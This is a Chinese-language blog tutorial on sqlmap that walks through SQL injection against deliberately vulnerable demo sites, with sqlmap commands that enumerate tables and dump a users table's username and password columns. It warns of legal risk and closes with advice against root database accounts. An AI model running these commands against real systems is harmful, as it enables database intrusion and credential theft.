HOME | 預設分類 | sqlmap簡介

sqlmap簡介

2017/08/02/10:35 , Post in 預設分類 , 評論(0) , 引用(0) , 閱讀(2354) , Via 本站原創
之前有講到網頁程式的一些安全防護,這邊要介紹一個工具sqlmap

這是一個專門測試是否具有sql injection漏洞的強大工具,建議對一些demo網站練習就好

如果要對別人網站使用之前,可能要考慮一下法律方面的問題



======================================================

Demo網站

一. http://demo.testfire.net/
二. http://testasp.vulnweb.com/
三. http://testphp.vulnweb.com/
四. http://testasp.vulnweb.com/
五. http://testhtml5.vulnweb.com/
六. http://google-gruyere.appspot.com/start

======================================================

首先sqlmap是一個用python開發的工具,所以要先安裝python接著再到git上下載最新版的sqlmap...

安裝的部分網頁上有很多可以參考

接著我們要入侵的第一步,找到網頁的注入點,也就是必須要有地方讓你輸入資料

所以我們必須先收集這些可以輸入資料的地方,當作注入點(可以使用google hacker之類的技術)

以http://testphp.vulnweb.com/  為例,選擇登入的頁面,就有讓你輸入帳號與密碼的欄位

當看到這些欄位時,如果你熟悉sql injection發生的原因,就可以在輸入一些對資料庫來說

一些特殊意義的字元做測試(單引號 ' ,註解//  #  /*  */)之類的,如果對方程式沒寫好

很可能就會直接跳出一些錯誤訊息給你,我們就可以直接判斷這個網頁存在sql injection的弱點

當找到相關的欄位後,可以使用firefox的plugin - live http headers之類的工具,開始抓取我們送出去的資料

例如我們帳號admin密碼也使用admin送出後,可以從抓到的資料裡面抓到這行

uname=admin&pass=admin: undefined

這就是我們送出去的資料,這時候我們就可以開始用sqlmap簡單的進行測試

./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" --threads=4 --level=3 --risk=3 --table

-u 是要做測試的url

--data 是我們送出的欄位資料

--threads 表示要用幾條線程做測試,越高速度越快,但是有一些防禦設備你攻擊的速度太快會直接被列入黑名單

--level  --risk是深度以及強度,建議使用3以上,越高拆解的速度越慢

--table 表示如果注入成功的話我要取出所有table name

如果注入成功的話,它會自動儲存這個網站注入成功的相關LOG,順利的話我們就可以取出他所使用資料庫帳號所有權限

的所有talbe以及相關欄位,接著更深入一點可以看一下欄位資料

./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" -D dbname -T users --columns

-D 指定哪一個資料庫

-T 指定哪一張tables

--columns 我要取得欄位資料

最後可以嘗試dump所有資料或是dump特定欄位資料

./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" -D dbname -T users --dump #所有欄位

./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" -D dbname -T users --dump -C "username,passwd"

======================================================

那有些欄位可能是需要我們再登入後才可以進入的頁面,這時候我們就要加上一個參數

--cookie=COOKIE     HTTP Cookie header value

我們手動登入之後一樣使用live http headers取得我們的cookie資料加在這個參數中即可

sqlmap還有其他更多詳細的參數可以用sqlmap --help參考

======================================================

我常常碰到一些人在寫網頁的時候,資料庫是預設使用root進行登入,如果在一個多人開發的主機上

這是一個蠻危險的方式,即使你有做好程式的安全性控管,但是你的同仁或其他開發者,不論是被

sql injection或是程式碼被取走,只要有一個洞被入侵,因為root這個帳號有所有資料庫的權限,基本

上一次就會全部失守,建議還是勤勞一點,每一個專案都用grant建立相關的帳號以及做好權限的控管。

發表評論

暱稱

網址

電郵

開啟HTML 開啟UBB 開啟表情 隱藏 記住我 [登入] [註冊]